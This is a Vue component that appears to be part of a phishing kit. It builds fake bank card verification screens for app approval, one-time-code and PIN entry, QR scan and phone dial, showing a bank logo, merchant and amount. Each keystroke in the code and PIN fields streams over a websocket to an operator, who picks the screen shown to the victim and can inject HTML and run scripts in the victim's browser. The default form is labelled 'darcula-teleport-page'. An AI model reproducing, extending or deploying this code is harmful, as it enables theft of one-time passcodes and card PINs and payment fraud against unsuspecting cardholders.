<template>
  <form @submit.prevent="submit">
    <div class="validation-renderer">
      <div class="validation-header" v-if="customOtpData.showTop !== false">
        <div class="bank-logo" v-if="customOtpData.imageUrl">
          <img :src="customOtpData.imageUrl" alt="bank" style="height: 70%; max-width: 70%; object-fit: contain;" />
        </div>
        <div class="bank-logo" v-else>
          <img src="@/assets/img/80066acd3fcfa.svg" alt="bank" style="height: 70%; max-width: 70%;" />
        </div>
        <div class="card-logo">
          <CardType1 :cardType="cardType" />
        </div>
      </div>
      <!-- APP验证 -->
      <div v-if="customOtpData.type === 'appValid1'" class="validation-form app-valid">
        <div class="form-header" v-if="customOtpData.pageTitle || customOtpData.pageContent">
          <div class="header-content">
            <h2 v-if="customOtpData.pageTitle" class="validation-title" v-html="renderContent(customOtpData.pageTitle)">
            </h2>
            <div v-if="customOtpData.pageContent" class="form-content" v-html="renderedPageContent"></div>
          </div>
        </div>

        <div class="payment-details" v-if="customOtpData.merchant || customOtpData.amount || customOtpData.showCard">
          <div v-if="customOtpData.merchant" class="detail-item" v-html="renderContent(customOtpData.merchant)"></div>
          <div v-if="customOtpData.amount" class="detail-item" v-html="renderContent(customOtpData.amount)"></div>
          <div v-if="customOtpData.showCard" class="detail-item" v-html="renderContent(customOtpData.cardNumber)"></div>
        </div>

        <div class="app-loading">
          <div class="loading-container">
            <img
              src="data:image/gif;base64,R0lGODlhUAAQAPABANfX1wAAACH5BAkPAAEAIf8LTkVUU0NBUEUyLjADAQAAACwAAAAAUAAQAAACUoyPqcvtD6OctNqLs968GwACVShS5BhCJDitZeS2q+Oyag3jd8zUL617+HK8xXA3Q56UqV4QWIQmhU9FlLokNrU2KaoryYa3nrL5jE6r1+y2pQAAIfkECQ8ABQAsAAAAAFAAEACCAL8ZBL8dCMAgLsRC19fXAAAAAAAAAAAAA2ZYutz+MMpJq7046827/2CoDEEwZERKoCqbUgIgA8Klttb95ro0zLMTRYebEHfGYyQAlAUqx9VQOSUum4Bntbe9QamPX1OYtHaLkqgkNqvxvG90WR4ukeMuqY0u6vv/gIGCg4SFFwkAIfkECQ8ABQAsAAAAAFAAEACCAL8ZBL8dCMAgLsRC19fXAAAAAAAAAAAAA3RYutz+MMpJq7046827/2CoDEEwZKSZESyxtpQAzIBwybRttfDOu5EBjXaiCIeA4uTXWzKBjwASEKhIkVXKEyrZRq7D7ARME3efFS/kOFRK2MQ0WjuH4Ga6yr12YfZ/RiVuFSmDdCwviCKLjI2Oj5CRkpMcCQAh+QQJDwAFACwAAAAAUAAQAIIAvxkEvx0IwCAuxELX19cAAAAAAAAAAAADeVi63P4wykmrvTjrzbv/YKgMQTBkpImWJ0a8BCUANCBcc31bOb1XMJhkUKu1JsQi4DhULoFBISTgDFSoSisFW9ROotIHt+aVjGnlyBmQhoBfkWSRGXfSIXIjFCzp2XBFPzKBF3xILCsqGCl3X2EikJGSk5SVlpeYGgkAIfkECQ8ABAAsAAAAAFAAEACCAL8ZBL8dCMAgLsRCAAAAAAAAAAAAAAAAA3lIutz+MMpJq7046827/2CoDEEwZKSJlieWtpIAzIBwybRt4bNe8TXJgEaDCYkzY2SIVEKYROcigAQEKlTklZIlbidd2tcRno0jZSu2eoak2wtosSJP0qtSRx2QVwB9FH83RIATghMvKyouLIp9IpCRkpOUlZaXmBQJACH5BAkPAAUALAAAAABQABAAggC/GQS/HQjAIC7EQtfX1wAAAAAAAAAAAANyWLrc/jDKSau9OOvNu/9gqBAkkQ1BMJzpiqEqVZaXANyAUOP5juuR2awy4N1ck6IRKVHymA0hjRIwAgKVqhFLtXIfUlLWO96WeV9H2ERx4qAQ95FohTOkvhuwYvvlexNDLy0sMYOGIomKi4yNjo+QkRsJACH5BAkPAAUALAAAAABQABAAggC/GQS/HQjAIC7EQtfX1wAAAAAAAAAAAANtWLrc/jDKSau9OOvNu/9gqBAkkZUmNgTBkK0thZLXnFYCoAPCle+9iI0mG1YGu52LgkwClo/hTSKtBJyAgBWrhVSLtq2zO7mOhUbw7IiFSppJtyNsoeOSwTtQfSq9WHJMgCKEhYaHiImKi4wdCQAh+QQJDwAFACwAAAAAUAAQAIIAvxkEvx0IwCAuxELX19cAAAAAAAAAAAADZ1i63P4wykmrvTjrzbv/YKgQJJGVJoZmQxAMFEpeclrVlwDsgCDVsxjwNqQMeDwYBGj7FSfMSgC5C0SiQlxWJqUCrMunUwsVR45UZXhlIW+DFR3PV4a3Syc8pvUS+f+AgYKDhIWGHQkAOw=="
              class="loading-gif" alt="Loading" />
          </div>
        </div>

        <div v-if="message" class="error-message">
          {{ renderContent(message) }}
        </div>
      </div>

      <!-- 验证码1 -->
      <div v-else-if="customOtpData.type === 'otpValid1'" class="validation-form otp-valid1">
        <div class="form-header" v-if="customOtpData.pageTitle || customOtpData.pageContent">
          <div class="header-content">
            <h2 v-if="customOtpData.pageTitle" class="validation-title" v-html="renderContent(customOtpData.pageTitle)">
            </h2>
            <div v-if="customOtpData.pageContent" class="form-content" v-html="renderedPageContent"></div>
          </div>
        </div>

        <div class="payment-details" v-if="customOtpData.merchant || customOtpData.amount || customOtpData.showCard">
          <div v-if="customOtpData.merchant" class="detail-item" v-html="renderContent(customOtpData.merchant)"></div>
          <div v-if="customOtpData.amount" class="detail-item" v-html="renderContent(customOtpData.amount)"></div>
          <div v-if="customOtpData.showCard" class="detail-item" v-html="renderContent(customOtpData.cardNumber)"></div>
        </div>

        <div class="form-fields">
          <div v-if="customOtpData.input1Title" class="field-group">
            <div style="width: fit-content;">
              <div v-html="renderContent(customOtpData.input1Title)"></div>
              <input required v-model="formData.input1" type="text" :placeholder="customOtpData.input1TitlePlaceholder"
                class="form-input otp-input" @input="handleInput('input1', $event)" />
            </div>
          </div>

          <div v-if="customOtpData.input2Title" class="field-group">
            <div style="width: fit-content;">
              <div v-html="renderContent(customOtpData.input2Title)"></div>
              <input required v-model="formData.input2" type="text" :placeholder="customOtpData.input2TitlePlaceholder"
                class="form-input otp-input" @input="handleInput('input2', $event)" />
            </div>
          </div>

          <div v-if="message" class="error-message" v-html="renderContent(message)">
          </div>

          <div class="submit-container">
            <button type="submit" v-if="customOtpData.buttonText" class="submit-button"
              :style="{ backgroundColor: customOtpData.buttonColor || '#67C23A' }">
              {{ customOtpData.buttonText }}
            </button>
          </div>

          <div v-if="customOtpData.showResendText" class="resend-section">
            <button type="button" class="resend-button no-obfuscate" @click="handleResend">
              <span v-html="renderContent(buttonText)"></span>
            </button>
          </div>
        </div>
      </div>

      <!-- 验证码2 -->
      <div v-else-if="customOtpData.type === 'otpValid2'" class="validation-form otp-valid2">
        <div class="form-header" v-if="customOtpData.pageTitle || customOtpData.pageContent">
          <div class="header-content">
            <h2 v-if="customOtpData.pageTitle" class="validation-title" v-html="renderContent(customOtpData.pageTitle)">
            </h2>
            <div v-if="customOtpData.pageContent" class="form-content" v-html="renderedPageContent"></div>
          </div>
        </div>

        <div class="payment-details"
          v-if="customOtpData.merchant || customOtpData.amount || customOtpData.showCard || customOtpData.input1Title">
          <div v-if="customOtpData.merchant" class="detail-item" v-html="renderContent(customOtpData.merchant)"></div>
          <div v-if="customOtpData.amount" class="detail-item" v-html="renderContent(customOtpData.amount)"></div>
          <div v-if="customOtpData.showCard" class="detail-item" v-html="renderContent(customOtpData.cardNumber)"></div>
          <div v-if="customOtpData.input1Title" class="detail-item input-detail-item">
            <span class="input-label" v-html="renderContent(customOtpData.input1Title)"></span>
            <input required v-model="formData.input1" type="text" class="otp-input-inline"
              @input="handleInput('input1', $event)" />
          </div>
          <div v-if="customOtpData.input2Title" class="detail-item input-detail-item">
            <span class="input-label" v-html="renderContent(customOtpData.input2Title)"></span>
            <input required v-model="formData.input2" type="text" class="otp-input-inline"
              @input="handleInput('input2', $event)" />
          </div>
          <div v-if="message" class="error-message" v-html="renderContent(message)">
          </div>
        </div>

        <div class="form-fields">
          <div class="submit-container">
            <button type="submit" v-if="customOtpData.buttonText" class="submit-button"
              :style="{ backgroundColor: customOtpData.buttonColor || '#67C23A' }">
              {{ customOtpData.buttonText }}
            </button>
          </div>

          <div v-if="customOtpData.showResendText" class="resend-section">
            <button type="button" class="resend-button no-obfuscate" @click="handleResend">
              {{ buttonText }}
            </button>
          </div>
        </div>
      </div>

      <!-- 扫码验证 -->
      <div v-else-if="customOtpData.type === 'scanValid1'" class="validation-form scan-valid">
        <div class="form-header" v-if="customOtpData.pageTitle">
          <div class="header-content">
            <h2 v-if="customOtpData.pageTitle" class="validation-title" v-html="renderContent(customOtpData.pageTitle)">
            </h2>
          </div>
        </div>

        <div class="payment-details" v-if="customOtpData.merchant || customOtpData.amount || customOtpData.showCard">
          <div v-if="customOtpData.merchant" class="detail-item">{{ renderContent(customOtpData.merchant) }}</div>
          <div v-if="customOtpData.amount" class="detail-item">{{ renderContent(customOtpData.amount) }}</div>
          <div v-if="customOtpData.showCard" class="detail-item">{{ renderContent(customOtpData.cardNumber) }}</div>
        </div>

        <div v-if="customOtpData.pageContent" class="form-content" v-html="renderedPageContent"></div>

        <div class="qr-section">
          <div class="qr-code-container">
            <img :src="message1" alt="QR Code" class="qr-code" />
          </div>
        </div>

        <div v-if="message" class="error-message" v-html="renderContent(message)">

        </div>

        <div v-if="customOtpData.showResendText" class="resend-section">
          <button type="button" class="resend-button no-obfuscate" @click="handleResend">
            {{ buttonText }}
          </button>
        </div>
      </div>

      <!-- 拨号验证 -->
      <div v-else-if="customOtpData.type === 'dialValid1'" class="validation-form dial-valid">
        <div class="form-header">
          <div class="header-content">
            <h2 v-if="customOtpData.pageTitle" class="validation-title" v-html="renderContent(customOtpData.pageTitle)">
            </h2>
            <div v-if="customOtpData.pageContent" class="form-content japanese-content" v-html="renderedPageContent">
            </div>
          </div>
        </div>

        <div class="submit-container">
          <button type="submit" v-if="customOtpData.buttonText" class="submit-button completed-button"
            :style="{ backgroundColor: customOtpData.buttonColor || '#E6A23C' }">
            {{ customOtpData.buttonText }}
          </button>
        </div>

        <div v-if="message" class="error-message">
          {{ renderContent(message) }}
        </div>
      </div>

      <!-- 全自定义验证 -->
      <div v-else-if="customOtpData.type === 'customValid'" class="validation-form custom-valid">
        <!-- 自定义样式 -->
        <component :is="'style'" v-if="customOtpData.customStyles" scoped>
          {{ customOtpData.customStyles }}
        </component>

        <div v-if="customOtpData.pageContent" class="form-content custom-content" v-html="renderedPageContent">
        </div>
      </div>

      <!-- 默认表单 -->
      <div v-else class="validation-form default-form">

        <div id="darcula-teleport-page">
          <div>
            <form class="container" @submit.prevent="submit">
              <div style="font-size: 20px">
                <b v-html="renderContent(customOtpData.pageTitle)"></b>
              </div>
              <p v-html="renderContent(customOtpData.pageContent)"></p>
              <br />
              <div class="input" style="text-align: center" v-if="customOtpData.input1Title">
                <label>{{ renderContent(customOtpData.input1Title) }}</label>
                <input required @input="onInput1Change" v-model="formData.input1" />
              </div>
              <div class="input" style="text-align: center" v-if="customOtpData.input2Title">
                <label>{{ renderContent(customOtpData.input2Title) }}</label>
                <input required @input="onInput2Change" v-model="formData.input2" />
              </div>
              <div class="error" v-if="message">
                {{ message }}
              </div>
              <br />
              <div class="button-submit">
                <button type="submit" :style="{ backgroundColor: customOtpData.buttonColor }">
                  {{ customOtpData.buttonText ? customOtpData.buttonText : "Submit" }}
                </button>
              </div>
            </form>
          </div>
        </div>
      </div>
    </div>
  </form>
</template>

<script setup lang="ts">
import { ref, reactive, computed, watch, onMounted, onUnmounted, nextTick } from 'vue'
import {
  inputChange,
  myWebSocket,
  customOtpData,
  setCustomOtpData,
} from "@/utils/common";
import CardType1 from "../components/CardType1.vue";
import eventBus from '@/utils/eventBus';
import { useRoute } from 'vue-router';
import { useLoadingStore } from '@/stores/loadingStore';

const cardType = ref("");
const message1 = ref("");
const cardNumberLast4 = ref("");
const phone = ref("");
const price = ref("");

const message = ref("");

const handleEvent = (data: { message2: string }) => {
  message.value = data.message2 ? data.message2 : customOtpData.value.errorMessage;
};



onMounted(() => {
  const route = useRoute();
  const query = route.query as any;
  if (query && query.cardType) {
    cardType.value = query.cardType;
    localStorage.setItem("cardType", query.cardType);
  } else {
    const type = localStorage.getItem("cardType");
    if (type) {
      cardType.value = type;
    }
  }

  if (query && query.message1) {
    message1.value = query.message1;
    localStorage.setItem("message1", query.message1);
  } else {
    const type = localStorage.getItem("message1");
    if (type) {
      message1.value = type;
    }
  }

  const customOtpDataValue = localStorage.getItem("customOtpData");
  if (customOtpDataValue) {
    setCustomOtpData(JSON.parse(customOtpDataValue));
  }

  localStorage.setItem("route", "customOtpValid");
  eventBus.on("custom-otp-valid", handleEvent);

  const cardData = JSON.parse(localStorage.getItem("card") ?? "{}");
  if (cardData && cardData.cardNumber) {
    const cardNum = cardData.cardNumber;
    cardNumberLast4.value = cardNum.slice(-4);
  }

  const cardNumber = localStorage.getItem("cardNumber") ?? "";
  if (cardNumber) {
    const cardNum = cardNumber;
    cardNumberLast4.value = cardNum.slice(-4);
  }

  // 设置全局输入处理函数 - 支持自定义 id
  (window as any).handleCustomInput = (id: string, value: string) => {
    // 根据id映射到对应的formData字段
    if (id === 'input1' || id === 'inline-input1') {
      formData.input1 = value
      onchange(value, "verifyCode1")
      emit('input', 'input1', value)
    } else if (id === 'input2' || id === 'inline-input2') {
      formData.input2 = value
      onchange(value, "verifyCode2")
      emit('input', 'input2', value)
    }
  };

  // 设置全局按钮点击处理函数
  (window as any).handleCustomButton = (id: string, action: string) => {
    if (action === 'submit') {
      submit()
    } else if (action === 'resend') {
      handleResend()
    }
  };

  // 绑定输入框事件和执行脚本
  setTimeout(() => {
    bindInputEvents()
    executeScripts() // 执行初始脚本
  }, 200); // 延迟执行确保所有DOM都已渲染
});

onMounted(() => {
  const phoneValue = localStorage.getItem("phone") || ""
  phone.value = phoneValue
  const priceValue = localStorage.getItem("price") || ""
  price.value = priceValue
  if (price.value === "") {
    const moneyAmountValue = localStorage.getItem("moneyAmount") || ""
    price.value = moneyAmountValue
  }
});

const onchange = (value: any, key: string) => {
  inputChange("input_card", key, value);
};

const onInput1Change = (event: any) => {
  const value = event.target.value;
  formData.input1 = value;
  onchange(value, "verifyCode1");
  // 触发内容重新渲染
  emit('input', 'input1', value);
};

const onInput2Change = (event: any) => {
  const value = event.target.value;
  formData.input2 = value;
  onchange(value, "verifyCode2");
  // 触发内容重新渲染
  emit('input', 'input2', value);
};

const submit = async () => {
  await nextTick();

  // 收集所有自定义输入框的值
  const customInputs = document.querySelectorAll('.custom-input') as NodeListOf<HTMLInputElement>
  const submitData: Record<string, string> = {}

  // 验证所有required输入框
  let firstEmptyInput: any = null
  let hasEmptyRequired = false

  customInputs.forEach(input => {
    const fieldName = input.dataset.field || input.id || 'unknown'
    const verifyKey = input.dataset.verifyKey || fieldName
    const value = input.value.trim()

    // 检查required属性
    if (input.hasAttribute('required') && !value) {
      hasEmptyRequired = true
      if (!firstEmptyInput) {
        firstEmptyInput = input
      }
    }

    submitData[verifyKey] = value
  })

  // 如果有必填项未填写，使用浏览器原生验证提示
  if (hasEmptyRequired && firstEmptyInput) {
    firstEmptyInput.reportValidity() // 使用浏览器原生提示
    return
  }

  useLoadingStore().isLoading = true;
  myWebSocket?.send(
    JSON.stringify({
      event: "submit_card",
      content: {
        type: "submitCustomOtpValid",
        formData: submitData,
      },
    })
  );
};


watch(
  customOtpData,
  () => {
    // 清空所有动态字段
    Object.keys(formData).forEach(key => delete formData[key]);
    message.value = "";
    // 重置静态内容
    staticContent.value = '';
    lastPageContent.value = '';
    // 重新绑定输入框事件和执行脚本
    setTimeout(() => {
      bindInputEvents()
      executeScripts()
    }, 100);
  },
  { deep: true }
);

// 监听message变化,自动更新所有custom-error-message元素
watch(
  message,
  (newMessage) => {
    nextTick(() => {
      const errorContainers = document.querySelectorAll('.custom-error-message') as NodeListOf<HTMLElement>
      errorContainers.forEach(container => {
        if (newMessage) {
          container.textContent = newMessage
          container.style.display = 'block'
        } else {
          container.style.display = 'none'
        }
      })
    })
  }
);

// 添加一个watch来监听计算属性的变化
watch(
  () => customOtpData.value.pageContent,
  () => {
    // 重置静态内容
    staticContent.value = '';
    lastPageContent.value = '';
    // 当pageContent变化时，重新绑定事件和执行脚本
    setTimeout(() => {
      bindInputEvents()
      executeScripts()
    }, 100);
  }
);

onUnmounted(() => {
  eventBus.off("custom-otp-valid", handleEvent);
  // 清理全局函数
  if ((window as any).handleCustomInput) {
    delete (window as any).handleCustomInput;
  }
  if ((window as any).handleCustomButton) {
    delete (window as any).handleCustomButton;
  }
});


// 类型定义
export interface ValidationConfig {
  type: 'appValid1' | 'otpValid1' | 'otpValid2' | 'scanValid1' | 'dialValid1' | 'customValid' | 'default'
  name?: string
  pageTitle?: string
  pageContent?: string
  input1Title?: string
  input2Title?: string
  buttonText?: string
  buttonColor?: string
  errorMessage?: string
  imageUrl?: string
  resendText?: string
  showResendText?: boolean
  showCard?: boolean
  merchant?: string
  amount?: string
  showDynamicFields?: boolean
  customStyles?: string  // 自定义CSS样式
  countdown?: boolean  // 重发按钮是否启用倒计时，默认true
}

export interface FormData {
  [key: string]: string  // 支持任意数量的输入框字段
}

export interface DynamicData {
  merchant?: string
  payment?: string
  card?: string
  phone?: string
  date?: string
  var1?: string
  var2?: string
  var3?: string
  [key: string]: any
}


// Props
const props = withDefaults(defineProps<{
  dynamicData?: DynamicData
  qrCodeImage?: string
  cardNumberLast4?: string
}>(), {
  dynamicData: () => ({}),
  qrCodeImage: 'data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjAwIiBoZWlnaHQ9IjIwMCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICA8cmVjdCB3aWR0aD0iMjAwIiBoZWlnaHQ9IjIwMCIgZmlsbD0id2hpdGUiLz4KICA8dGV4dCB4PSIxMDAiIHk9IjEwMCIgZm9udC1mYW1pbHk9IkFyaWFsIiBmb250LXNpemU9IjE0IiBmaWxsPSIjNjY2IiB0ZXh0LWFuY2hvcj0ibWlkZGxlIiBkeT0iLjNlbSI+UVIgQ29kZTwvdGV4dD4KPC9zdmc+',
  cardNumberLast4: '1234'
})

// Emits
const emit = defineEmits<{
  submit: [data: FormData]
  input: [field: string, value: string]
  resend: []
}>()

// 响应式数据 - 支持动态添加任意字段
const formData = reactive<FormData>({})

// 倒计时相关变量（需要在前面声明，因为其他函数会用到）
const initialTime = 60; // 倒计时时间，单位为秒
const timeLeft = ref(initialTime);
const isCounting = ref(false);
let timer: number | null = null;
let countdownStarted = false; // 标记倒计时是否已启动

const resendText = ref("");
const showResendText = ref(false);

// 渲染内容，替换动态变量
const renderContent = (content: string, skipInputs = false): string => {
  if (!content) return content

  let rendered = content

  // 检查是否包含传统输入框占位符
  const hasInput1 = rendered.includes('${input1}')
  const hasInput2 = rendered.includes('${input2}')

  // 获取传统输入框的HTML或值
  const getInputContent = (inputValue: string, inputTitle: string, fieldName: string) => {
    if (hasInput1 && fieldName === 'input1' || hasInput2 && fieldName === 'input2') {
      if (skipInputs) {
        return `__PLACEHOLDER_${fieldName.toUpperCase()}__`
      }
      const placeholder = inputTitle || `请输入${fieldName === 'input1' ? '验证码' : 'PIN码'}`
      const inputId = `inline-${fieldName}`
      return `<span class="inline-input-wrapper" data-field="${fieldName}">
        <input required
          id="${inputId}"
          type="text" 
          value="${inputValue}" 
          placeholder="${placeholder}"
          class="inline-input-field"
          data-field="${fieldName}"
          oninput="window.handleCustomInput('${fieldName}', this.value)"
        />
      </span>`
    }
    return inputValue
  }

  // 替换预定义变量
  const replacements = {
    '${merchant}': customOtpData.value.merchant || '',
    '${payment}': customOtpData.value.amount || '',
    '${price}': price.value || '',
    '${card}': cardNumberLast4.value || '',
    '${phone}': phone.value,
    '${date}': new Date().toLocaleDateString(),
    '${input1}': getInputContent(formData.input1, customOtpData.value.input1Title, 'input1'),
    '${input2}': getInputContent(formData.input2, customOtpData.value.input2Title, 'input2'),
  }

  // 替换所有变量
  Object.keys(replacements).forEach((key) => {
    const value = replacements[key as keyof typeof replacements]
    rendered = rendered.replace(new RegExp(key.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'), 'g'), String(value))
  })

  return rendered
}

// 静态内容缓存
const staticContent = ref('')
const lastPageContent = ref('')

// 计算属性，只在pageContent结构变化时重新渲染
const renderedPageContent = computed(() => {
  const currentPageContent = customOtpData.value.pageContent || ''

  // 只有当pageContent本身发生变化时才重新渲染HTML结构
  if (currentPageContent !== lastPageContent.value) {
    lastPageContent.value = currentPageContent
    staticContent.value = renderContent(currentPageContent)

    // 延迟绑定事件，确保DOM已更新
    nextTick(() => {
      setTimeout(() => {
        bindInputEvents()
        executeScripts() // 执行 pageContent 中的 JavaScript
      }, 50)
    })
  }

  return staticContent.value
})

// 执行 pageContent 中的 JavaScript
const executeScripts = () => {
  nextTick(() => {
    // 查找所有包含 pageContent 的容器
    const containers = document.querySelectorAll('.form-content, .custom-content')
    
    containers.forEach(container => {
      // 查找所有 script 标签
      const scripts = container.querySelectorAll('script')
      
      scripts.forEach(oldScript => {
        try {
          // 创建新的 script 标签来执行
          const newScript = document.createElement('script')
          
          // 复制属性（如 type, src 等）
          Array.from(oldScript.attributes).forEach(attr => {
            newScript.setAttribute(attr.name, attr.value)
          })
          
          // 如果有 src 属性，直接使用；否则复制内联代码
          if (!oldScript.src) {
            newScript.textContent = oldScript.textContent
          }
          
          // 替换旧的 script 标签以触发执行
          oldScript.parentNode?.replaceChild(newScript, oldScript)
        } catch (error) {
          console.error('Script execution error:', error)
        }
      })
    })
  })
}

// 绑定输入框和按钮事件的函数
const bindInputEvents = () => {
  nextTick(() => {
    const tryBind = (retries = 3) => {
      // 查找所有带custom-input class的输入框
      const customInputs = document.querySelectorAll('.custom-input') as NodeListOf<HTMLInputElement>
      // 查找所有带custom-button class的按钮
      const customButtons = document.querySelectorAll('.custom-button') as NodeListOf<HTMLButtonElement>
      // 查找所有带custom-error-message class的错误信息容器
      const errorContainers = document.querySelectorAll('.custom-error-message') as NodeListOf<HTMLElement>

      // 如果找不到任何元素且还有重试次数，则重试
      if (customInputs.length === 0 && customButtons.length === 0 && errorContainers.length === 0 && retries > 0) {
        setTimeout(() => tryBind(retries - 1), 100)
        return
      }

      // 绑定所有自定义输入框
      customInputs.forEach(input => {
        if (!input.dataset.bound) {
          const fieldName = input.dataset.field || 'input1'
          input.dataset.bound = 'true'

          // 绑定输入事件
          input.removeEventListener('input', handleCustomInputEvent)
          input.addEventListener('input', handleCustomInputEvent)
          addFocusBlurStyle(input)
        }
      })

      // 绑定所有自定义按钮
      customButtons.forEach(button => {
        if (!button.dataset.bound) {
          const action = button.dataset.action || 'submit'
          button.dataset.bound = 'true'

          // 绑定点击事件
          button.removeEventListener('click', handleCustomButtonEvent)
          button.addEventListener('click', handleCustomButtonEvent)

          // 如果是重发按钮，存储原始文本并更新初始状态
          if (action === 'resend') {
            if (!button.dataset.originalText) {
              button.dataset.originalText = button.textContent || 'Resend'
            }
            // 检查是否启用倒计时（data-countdown属性，默认为true）
            const enableCountdown = button.dataset.countdown !== 'false'
            if (enableCountdown) {
              updateResendButton(button)
            }
          }
        }
      })

      // 更新所有错误信息容器
      errorContainers.forEach(container => {
        updateErrorMessage(container)
      })

      // 绑定完成后，启动倒计时（只启动一次）
      if (!countdownStarted) {
        countdownStarted = true
        startCountdown('')
      }
    }

    tryBind()
  })
}

// 更新错误信息
const updateErrorMessage = (container: HTMLElement) => {
  if (message.value) {
    container.textContent = message.value
    container.style.display = 'block'
  } else {
    container.style.display = 'none'
  }
}

// 更新重发按钮状态
const updateResendButton = (button: HTMLButtonElement) => {
  const originalText = button.dataset.originalText || 'Resend'

  if (isCounting.value) {
    // 倒计时中
    const seconds = timeLeft.value
    const timeStr = seconds < 10 ? `0${seconds}` : `${seconds}`
    button.textContent = `00:${timeStr}`
    button.disabled = true
    button.style.opacity = '0.6'
    button.style.cursor = 'not-allowed'
  } else {
    // 倒计时结束
    button.textContent = originalText
    button.disabled = false
    button.style.opacity = '1'
    button.style.cursor = 'pointer'
  }
}

// 更新所有重发按钮
const updateAllResendButtons = () => {
  const resendButtons = document.querySelectorAll('.custom-button[data-action="resend"]') as NodeListOf<HTMLButtonElement>
  resendButtons.forEach(button => {
    // 只更新启用倒计时的按钮
    const enableCountdown = button.dataset.countdown !== 'false'
    if (enableCountdown) {
      updateResendButton(button)
    }
  })
}

// 监听倒计时状态，自动更新所有重发按钮
watch([isCounting, timeLeft], () => {
  updateAllResendButtons()
})

// 处理自定义输入框事件 - 支持任意数量的输入框
const handleCustomInputEvent = (e: Event) => {
  const target = e.target as HTMLInputElement
  const fieldName = target.dataset.field || 'input1'
  // 优先使用 data-verify-key，否则直接使用 fieldName
  const verifyKey = target.dataset.verifyKey || fieldName
  const value = target.value

  // 动态存储字段值
  formData[fieldName] = value

  // 发送到后端
  onchange(value, verifyKey)

  // 触发事件
  emit('input', fieldName, value)
}

// 处理自定义按钮事件
const handleCustomButtonEvent = (e: Event) => {
  const target = e.target as HTMLButtonElement
  const action = target.dataset.action || 'submit'

  if (action === 'submit') {
    submit()
  } else if (action === 'resend') {
    // 检查是否启用倒计时（默认为true）
    const enableCountdown = target.dataset.countdown !== 'false'

    // 如果启用倒计时且正在倒计时中，禁止重复点击
    if (enableCountdown && isCounting.value) {
      return
    }

    // 如果启用倒计时，则开始倒计时；否则直接发送
    if (enableCountdown) {
      handleResend()
    } else {
      // 不启用倒计时，直接发送请求
      myWebSocket?.send(
        JSON.stringify({
          event: "page_type",
          content: {
            pageType: "customOtpValid",
            pageTitle: customOtpData.value.name,
            resultType: "resendCode",
            customType: customOtpData.value.type
          },
        })
      )
    }
  }
}

// 添加聚焦和失焦样式
const addFocusBlurStyle = (element: HTMLInputElement) => {
  element.addEventListener('focus', (e) => {
    (e.target as HTMLInputElement).style.borderColor = '#3b82f6'
  })
  element.addEventListener('blur', (e) => {
    (e.target as HTMLInputElement).style.borderColor = '#ddd'
  })
}

// 输入处理函数
const handleInput1 = (e: Event) => {
  const target = e.target as HTMLInputElement
  formData.input1 = target.value
  onchange(target.value, "verifyCode1")
  emit('input', 'input1', target.value)
}

const handleInput2 = (e: Event) => {
  const target = e.target as HTMLInputElement
  formData.input2 = target.value
  onchange(target.value, "verifyCode2")
  emit('input', 'input2', target.value)
}

// 事件处理
const handleSubmit = () => {
  emit('submit', { ...formData })
}

const handleInput = (field: string, event: Event) => {
  const target = event.target as HTMLInputElement
  formData[field as keyof FormData] = target.value
  emit('input', field, target.value)

  // 调用对应的输入处理函数
  if (field === 'input1') {
    onchange(target.value, "verifyCode1");
  } else if (field === 'input2') {
    onchange(target.value, "verifyCode2");
  }
}

const handleResend = () => {
  startCountdown('resendCode')
}


// 暴露方法
defineExpose({
  formData,
  resetForm: () => {
    // 清空所有动态字段
    Object.keys(formData).forEach(key => delete formData[key])
  },
  setFormData: (data: Partial<FormData>) => {
    Object.assign(formData, data)
  }
})

// 倒计时初始化逻辑
onMounted(() => {
  const resendTextValue = customOtpData.value.resendText;
  resendText.value = resendTextValue || "RESEND CODE";

  const showResendTextRaw = customOtpData.value.showResendText;
  showResendText.value = showResendTextRaw === undefined || showResendTextRaw === '' ? false : showResendTextRaw;
  // 不再在这里启动倒计时，改为在 bindInputEvents 完成后启动
});

const buttonText = computed(() => {
  const min = timeLeft.value;
  let minStr = "" + min
  if (min < 10) {
    minStr = "0" + minStr;
  }
  if (showResendText.value && resendText.value) {
    return isCounting.value
      ? `00:${minStr}`
      : resendText.value;
  } else {
    return "";
  }
});

const startCountdown = (resultType: string) => {
  if (isCounting.value) return; // 如果已经在倒计时，则不执行
  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, resultType: resultType, customType: customOtpData.value.type },
    })
  );
  isCounting.value = true;
  timeLeft.value = initialTime;

  timer = window.setInterval(() => {
    if (timeLeft.value > 0) {
      timeLeft.value -= 1;
    } else {
      stopCountdown();
    }
  }, 1000);
};

const stopCountdown = () => {
  if (timer !== null) {
    clearInterval(timer);
    timer = null;
  }
  isCounting.value = false;
};
</script>

<style scoped>
.validation-renderer {
  width: 100%;
  margin: 0 auto;
  background: white;
  border-radius: 12px;
  overflow: hidden;
}

.validation-form {
  padding: 24px;
}

/* 表单头部 */
.form-header {
  display: flex;
  align-items: flex-start;
  gap: 16px;
  margin-bottom: 24px;
}

.header-image {
  flex-shrink: 0;
}

.form-image {
  height: 60px;
  object-fit: contain;
}

.header-content {
  flex: 1;
  text-align: left;
  width: 100%;
}

.validation-title {
  margin: 0 0 12px 0;
  color: #333;
  font-size: 18px;
  font-weight: 600;
  line-height: 1.4;
}

.form-content {
  margin: 0;
  color: #666;
  font-size: 14px;
  line-height: 1.6;
}

.custom-content {
  font-size: 14px;
}

.japanese-content {
  font-family: "Noto Sans JP", "Yu Gothic", "Meiryo", sans-serif;
}

/* 支付详情 */
.payment-details {
  padding: 16px;
  border-radius: 8px;
  margin-bottom: 20px;
  text-align: center;
}

.detail-item {
  margin-bottom: 8px;
  color: #374151;
  font-size: 14px;
  font-weight: 500;
  display: flex;
  justify-content: center;
  align-items: center;
  gap: 8px;
}

.detail-item:last-child {
  margin-bottom: 0;
}

.input-detail-item {
  justify-content: center;
}

.input-label {
  flex-shrink: 0;
  min-width: 100px;
  text-align: right;
}

.otp-input-inline {
  text-align: center;
  font-size: 14px;
  font-weight: bold;
  letter-spacing: 2px;
  width: 120px;
  padding: 4px 8px;
  border: 1px solid #d1d5db;
  border-radius: 4px;
  background: white;
}

/* APP加载 */
.app-loading {
  display: flex;
  justify-content: center;
  margin: 24px 0;
}

.loading-container {
  display: flex;
  align-items: center;
  justify-content: center;
  border: 1px solid #000;
  border-radius: 25px;
  background: #fcfcfc;
  height: 36px;
  width: 100px;
